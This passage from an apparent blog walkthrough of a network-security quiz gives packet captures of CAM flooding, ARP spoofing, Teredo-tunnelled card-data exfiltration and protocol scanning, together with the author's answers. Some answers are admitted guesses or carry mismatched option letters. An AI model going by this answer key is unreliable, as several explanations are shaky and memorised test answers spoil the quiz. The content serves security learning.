b2:40:9f:5a:1b:38 6a:3f:60:7:dd:d5 0.0.0.0.4539 > 10.10.10.1.65119: S 961688519:961688519(0) win 512
79:a8:c1:e:89:35 da:cb:e1:15:43:fa 0.0.0.0.59278 > 10.10.10.1.10121: S 650761031:650761031(0) win 512
3d:c3:51:78:96:19 9:d1:4e:2:45:55 0.0.0.0.18372 > 10.10.10.1.26829: S 1570805690:1570805690(0) win 512
3e:7e:1f:4f:d5:71 dc:f3:f8:38:2:db 0.0.0.0.25840 > 10.10.10.1.8653: S 47996968:47996968(0) win 512
5c:62:2b:51:65:61 a2:b2:67:64:73:b4 0.0.0.0.52370 > 10.10.10.1.38447: S 69897913:69897913(0) win 512
Answer (b) An attacker is attempting to overflow the switch Content Addressable Memory (CAM) table with randomly selected MAC addresses to create a shared network segment; Why? Let's ask these first... * What is a Content Addressable Memory (CAM) table? * CAM is a hyper-effecient hardware version of an IP lookup table. In general, a router or switch receives a packet and then determines based on the headers and IP which output port to send it to. The CAM is a data storage in SRAM that allows efficient lookups (1 clock cycle) in order to route packets. However, if the table is full, then the device routes packets to everyone, effectively treating it as a hub. * What is the Virtual Orthogonal Lookup Table (VOLT) * I don't think this is a thing lol. See [here ](https://0xbharath.github.io/art-of-packet-crafting-with-scapy/network_attacks/cam_overflow/index.html)for more information.
26. Characterize the attack shown in the following packet capture details (excerpts from the packet decode have been omitted for space considerations). 1. The attacker is using a VLAN hopping attack 2. The attacker is using a rogue DHCP server to manipulate client devices 3. The attacker is using an ICMP port redirection attack 4. The attacker is using the Kali Linux "Hail Mary" attack ``` $ tcpdump -ver attack.pcap -n reading from file attack.pcap, link-type EN10MB (Ethernet) 14:01:03.819398 00:0c:29:47:fe:5f > 6c:70:9f:d2:62:2b, ethertype IPv4 (0x0800), length 98: (tos 0x0, ttl 64, id 11265, offset 0, flags [DF], proto ICMP (1), length 84) 172.16.0.117 > 8.8.8.8: ICMP echo request, id 1521, seq 1, length 64 14:01:03.839225 6c:70:9f:d2:62:2b > 00:0c:29:47:fe:5f, ethertype IPv4 (0x0800), length 98: (tos 0x0, ttl 57, id 51759, offset 0, flags [none], proto ICMP (1), length 84) 8.8.8.8 > 172.16.0.117: ICMP echo reply, id 1521, seq 1, length 64 14:01:03.853301 00:0b:be:18:9a:41 > 01:00:0c:cc:cc:cc, 802.3, length 472: LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Cisco (0x00000c), pid CDP (0x2000): CDPv2, ttl: 180s, checksum: 692 (unverified), length 450 Device-ID (0x01), length: 8 bytes: 'myswitch' Address (0x02), length: 13 bytes: IPv4 (1) 192.168.0.253 Port-ID (0x03), length: 15 bytes: 'FastEthernet0/1' VTP Management Domain (0x09), length: 8 bytes: 'MYDOMAIN' Native VLAN ID (0x0a), length: 2 bytes: 1 Duplex (0x0b), length: 1 byte: full ATA-186 VoIP VLAN request (0x0e), length: 3 bytes: app 1, vlan 10 14:01:09.566328 00:0c:29:47:fe:5f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 346: vlan 10, p 0, ethertype IPv4, (tos 0x10, ttl 128, id 0, offset 0, flags [none], proto UDP (17), length 328) 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:0c:29:47:fe:5f, length 300, xid 0xef254c78, secs 24, Flags [none] Client-Ethernet-Address 00:0c:29:47:fe:5f Vendor-rfc1048 Extensions Magic Cookie 0x63825363 DHCP-Message Option 53, length 1: Discover Hostname Option 12, length 4: "kali" ```
Answer (b) rogue dhcp server; * `tcpdump -ver attack.pcap -n` reads from file and doesn't convert addresses No idea. Appears there's a simple ICMP ping from attacker, (172.16.0.117, 00:0c:29:47:fe:5f) to a DNS server (8.8.8.8). Afterwards the traffic changes into something I don't really recognize. I notice there's a VoIP VLAN request and then the subsequent packet shows the same source MAC address as the attacker (00:0c:29:47:fe:5f) but with a different IP indicating potentially a hop to another VLAN. My guess: VLAN Hopping, but there's no additional tags included in the message, nor are there any spoofing going on. Maybe it's a rogue DHCP server
27. Choose the answer that best characterizes the attack from the following packet capture details: 1. ARP host enumeration attack 2. IPv6 Neighbor Discovery (ND) attack 3. ARP spoofing Man-in-the-Middle attack 4. ARP manipulation Denial of Service attack ```bash $ tcpdump -ner eoi.pcap reading from file eoi.pcap, link-type EN10MB (Ethernet) 10:33:17.904064 00:0c:29:47:fe:5f > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 172.16.0.10 tell 172.16.0.117, length 28 10:33:17.919845 00:11:32:30:ec:88 > 00:0c:29:47:fe:5f, ethertype ARP (0x0806), length 60: Reply 172.16.0.10 is-at 00:11:32:30:ec:88, length 46 10:33:18.632130 00:0c:29:47:fe:5f > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 172.16.0.5 tell 172.16.0.117, length 28 10:33:18.648384 28:10:7b:ed:2d:c8 > 00:0c:29:47:fe:5f, ethertype ARP (0x0806), length 60: Reply 172.16.0.5 is-at 28:10:7b:ed:2d:c8, length 46 10:33:21.294085 00:0c:29:47:fe:5f > 64:eb:8c:72:25:57, ethertype ARP (0x0806), length 42: Reply 172.16.0.10 is-at 00:0c:29:47:fe:5f, length 28 10:33:21.304333 00:0c:29:47:fe:5f > 64:eb:8c:72:25:57, ethertype ARP (0x0806), length 42: Reply 172.16.0.5 is-at 00:0c:29:47:fe:5f, length 28 ```
Answer (a) ARP spoofing; guessing ARP spoofing MITM attack given the response other devices give to the requests mismatch the MAC addresses in the initial responses.
28. Characterize the data exfiltration technique used in the following packet decode (decode trimmed for space): 1. The credit card data is artificially appended to the end of an otherwise legitimate packet 2. The data attempts to leave the network over TCP/80, a common protocol 3. The data attempts to evade exfiltration filters by tunneling IPv6 in IPv4 packets 4. Multiple stacked protocols are used illegitimately to confuse data egress filters ```bash $ tshark -Vxnr event.pcap Frame 1: 170 bytes on wire (1360 bits), 170 bytes captured (1360 bits) Ethernet II, Src: 00:0c:29:47:fe:5f (00:0c:29:47:fe:5f), Dst: 6c:70:9f:d2:62:2b (6c:70:9f:d2:62:2b) Internet Protocol Version 4, Src: 172.16.0.117 (172.16.0.117), Dst: 209.51.184.234 (209.51.184.234) User Datagram Protocol, Src Port: 34911 (34911), Dst Port: 3545 (3545) Teredo IPv6 over UDP tunneling Internet Protocol Version 6, Src: 2001:0:53aa:64c:3419:5b86:9d49:c8d7 (2001:0:53aa:64c:3419:5b86:9d49:c8d7), Dst: 2607:f8b0:4006:80d::1009 (2607:f8b0:4006:80d::1009) Transmission Control Protocol, Src Port: 44650 (44650), Dst Port: 80 (80), Seq: 1, Ack: 1, Len: 56 0000 6c 70 9f d2 62 2b 00 0c 29 47 fe 5f 08 00 45 00 lp..b+..)G._..E. 0010 00 9c 1a 2d 00 00 40 11 29 81 ac 10 00 75 d1 33 ...-..@.)....u.3 0020 b8 ea 88 5f 0d d9 00 88 37 3d 60 00 00 00 00 58 ..._....7=`....X 0030 06 40 20 01 00 00 53 aa 06 4c 34 19 5b 86 9d 49 .@ ...S..L4.[..I 0040 c8 d7 26 07 f8 b0 40 06 08 0d 00 00 00 00 00 00 ..&...@......... 0050 10 09 ae 6a 00 50 13 37 12 cb 75 98 00 fd 80 18 ...j.P.7..u..... 0060 00 18 28 50 00 00 01 01 08 0a 01 dd 1d ac b6 ae ..(P............ 0070 6f 6d 34 39 31 36 37 39 32 37 37 39 38 37 31 2c om4916792779871, 0080 43 56 56 32 2c 36 38 32 2c 30 35 2f 32 30 31 38 CVV2,682,05/2018 0090 2c 56 69 73 61 2c 55 6c 73 74 65 72 20 42 61 6e ,Visa,Ulster Ban 00a0 6b 20 4c 69 6d 69 74 65 64 0a k Limited. ```
Answer (c); the data attempts to evade exfiltration filters by tunneling IPv6 in IPv4 packets; here we can see one packet with IPv4, however, inside the packet is an IPv6 packet. There's also a note saying "Teredo IPv6 over UDP tunneling" {% hint style="info" %} [Teredo tunneling is a method of **transmitting IPv6 packets over an IPv4 network by encapsulating them inside UDP packets**](https://www.bing.com/ck/a?!&\&p=1213d540fcc3befb1d3dcf43ce0f306fdbce517313bde8ec525c27f01be50e2eJmltdHM9MTc0MjM0MjQwMA\&ptn=3\&ver=2\&hsh=4\&fclid=03e91e11-41ce-615a-19f3-0c77403360ca\&u=a1aHR0cHM6Ly93d3cudGVsZWNvbXRyYWluZXIuY29tL3RlcmVkby10dW5uZWxpbmctaXB2Ni1vdmVyLXVkcC10aHJvdWdoLW5hdHMv\&ntb=1)[1](https://www.bing.com/ck/a?!&\&p=1213d540fcc3befb1d3dcf43ce0f306fdbce517313bde8ec525c27f01be50e2eJmltdHM9MTc0MjM0MjQwMA\&ptn=3\&ver=2\&hsh=4\&fclid=03e91e11-41ce-615a-19f3-0c77403360ca\&u=a1aHR0cHM6Ly93d3cudGVsZWNvbXRyYWluZXIuY29tL3RlcmVkby10dW5uZWxpbmctaXB2Ni1vdmVyLXVkcC10aHJvdWdoLW5hdHMv\&ntb=1)[2](https://www.bing.com/ck/a?!&\&p=d8f8564641ec004ce9e2460f586eeff8f1b1649a726074ff285b9eca0a8a5cbfJmltdHM9MTc0MjM0MjQwMA\&ptn=3\&ver=2\&hsh=4\&fclid=03e91e11-41ce-615a-19f3-0c77403360ca\&u=a1aHR0cHM6Ly9oYXRjaGpzLmNvbS90ZXJlZG8tdHVubmVsaW5nLXBzZXVkby1pbnRlcmZhY2Uv\&ntb=1). [It allows devices behind NAT devices to communicate using IPv6, overcoming the limitations of IPv4 and facilitating the coexistence of IPv6 and IPv4 networks](https://www.bing.com/ck/a?!&\&p=1213d540fcc3befb1d3dcf43ce0f306fdbce517313bde8ec525c27f01be50e2eJmltdHM9MTc0MjM0MjQwMA\&ptn=3\&ver=2\&hsh=4\&fclid=03e91e11-41ce-615a-19f3-0c77403360ca\&u=a1aHR0cHM6Ly93d3cudGVsZWNvbXRyYWluZXIuY29tL3RlcmVkby10dW5uZWxpbmctaXB2Ni1vdmVyLXVkcC10aHJvdWdoLW5hdHMv\&ntb=1)[1](https://www.bing.com/ck/a?!&\&p=1213d540fcc3befb1d3dcf43ce0f306fdbce517313bde8ec525c27f01be50e2eJmltdHM9MTc0MjM0MjQwMA\&ptn=3\&ver=2\&hsh=4\&fclid=03e91e11-41ce-615a-19f3-0c77403360ca\&u=a1aHR0cHM6Ly93d3cudGVsZWNvbXRyYWluZXIuY29tL3RlcmVkby10dW5uZWxpbmctaXB2Ni1vdmVyLXVkcC10aHJvdWdoLW5hdHMv\&ntb=1) {% endhint %} Basically they're using IPv4 to encapsulate the IPv6 packet and reroute data to different ports on potentially different hosts
29. A host enumeration/scanning attack was identified on an internal network. Characterize the type of scanning attack from the packet capture details shown here. 1. ICMP port unreachable enumeration 2. TCP port scan in evasion mode 3. IP port scan 4. Heap spray scan 5. IP protocol scan ```bash $ tcpdump -r scanner.pcap -n reading from file scanner.pcap, link-type EN10MB (Ethernet) 14:20:17.479467 IP 172.16.0.103 > 172.16.0.1: ip-proto-36 0 14:20:17.479470 IP 172.16.0.103 > 172.16.0.1: ip-proto-223 0 14:20:17.479471 IP 172.16.0.103 > 172.16.0.1: ip-proto-110 0 14:20:17.479472 IP 172.16.0.103 > 172.16.0.1: ip-proto-230 0 14:20:17.479473 IP 172.16.0.103 > 172.16.0.1: ip-proto-210 0 14:20:17.479484 IP 172.16.0.103 > 172.16.0.1: ip-proto-192 0 14:20:17.480646 IP 172.16.0.1 > 172.16.0.103: ICMP 172.16.0.1 protocol 36 unreachable, length 28 14:20:17.480648 IP 172.16.0.1 > 172.16.0.103: ICMP 172.16.0.1 protocol 223 unreachable, length 28 14:20:17.480652 IP 172.16.0.1 > 172.16.0.103: ICMP 172.16.0.1 protocol 110 unreachable, length 28 14:20:17.480734 IP 172.16.0.1 > 172.16.0.103: ICMP 172.16.0.1 protocol 230 unreachable, length 28 14:20:17.480800 IP 172.16.0.1 > 172.16.0.103: ICMP 172.16.0.1 protocol 210 unreachable, length 28 14:20:17.480828 IP 172.16.0.1 > 172.16.0.103: ICMP 172.16.0.1 protocol 192 unreachable, length 28 14:20:17.514145 IP 172.16.0.103.43283 > 172.16.0.1.80: Flags [.], ack 2658792198, win 1024, length 0 14:20:17.514305 IP 172.16.0.103 > 172.16.0.1: ICMP echo request, id 11323, seq 0, length 8 14:20:17.516307 IP 172.16.0.1 > 172.16.0.103: ICMP echo reply, id 11323, seq 0, length 8 14:20:17.516463 IP 172.16.0.1.80 > 172.16.0.103.43283: Flags [R], seq 2658792198, win 0, length 0 14:20:17.536982 IP 172.16.0.103 > 172.16.0.1: ip-proto-202 0 14:20:17.536992 IP 172.16.0.103 > 172.16.0.1: ip-proto-244 0 14:20:17.537008 IP 172.16.0.103 > 172.16.0.1: ip-proto-166 0 14:20:18.714838 IP 172.16.0.1 > 172.16.0.103: ICMP 172.16.0.1 protocol 166 unreachable, length 28 14:20:19.751016 IP 172.16.0.1 > 172.16.0.103: ICMP 172.16.0.1 protocol 244 unreachable, length 28 14:20:19.773209 IP 172.16.0.1 > 172.16.0.103: ICMP 172.16.0.1 protocol 202 unreachable, length 28 14:20:21.479877 IP 172.16.0.103.43283 > 172.16.0.1.40125: UDP, length 0 14:20:21.480398 IP 172.16.0.1 > 172.16.0.103: ICMP 172.16.0.1 udp port 40125 unreachable, length 36 ```
Answer (e) IP protocol scan; while ICMP (a) is tempting, that is unfortunately not a thing. Neither is a Heap spray scan. Therefore it's down to IP port scan and IP protocol scan. Here we can see the attacker, 172.16.0.103 sending ethernet frames with varying ip-proto-X packets and the server responds back with which protocols are supported, indicating unsupported by "unreachable"
30. Choose the answer that best characterizes the following packet. 1. The length of the packet is too short, requiring fragmentation 2. The source TCP port is too large for the target protocol 3. The window size is too large for the packet with a payload length of 0 bytes 4. The destination MAC address does not correspond to a permitted organizationally unique identifier (OUI) 5. The source MAC address is locally administered, and not a globally unique MAC address ```bash $ tcpdump -ner /tmp/scan.pcap reading from file /tmp/scan.pcap, link-type EN10MB (Ethernet) 08:41:16.048265 06:2e:44:ab:10:5a > 00:13:ce:55:98:ef, ethertype IPv4 (0x0800), length 54: 10.10.10.112.34121 > 10.10.10.1.445: Flags [S], seq 0, win 8192, length 0 ```
Answer (e); locally administered. This is because locally administered mac addresses are identifiable via their second byte being a 2, 6, a, or e. Note the beginning of the source MAC address is (06). . Additionally we can eliminate the other options * (a), no such thing as a packet being too short to require fragmentation * (b), max port size is 65535 * (c), no such thing again * (d), corresponds to Intel Corp, see [here](https://www.wireshark.org/tools/oui-lookup.html)
## Congrats! Welp if you made it this far, congratulations, hopefully you learned a thing or two from this wack test. At the time I'm taking this 3/19/25, there is no one nationally or internationally that scored 30/30. How crazy is that? The way the rankings go is that you're ultimately ranked by score, and then each tied score is ranked by the time required to complete. I managed to bring my score from a 20/30 to a 27/30 and then finally a 28/30. I memorized all the answers (there weren't too many) and then I tried to click through the test as fast as I could with my answers to the non-multiple choice questions ready to copy and paste. I managed to rank 11th in the US which isn't too shabby.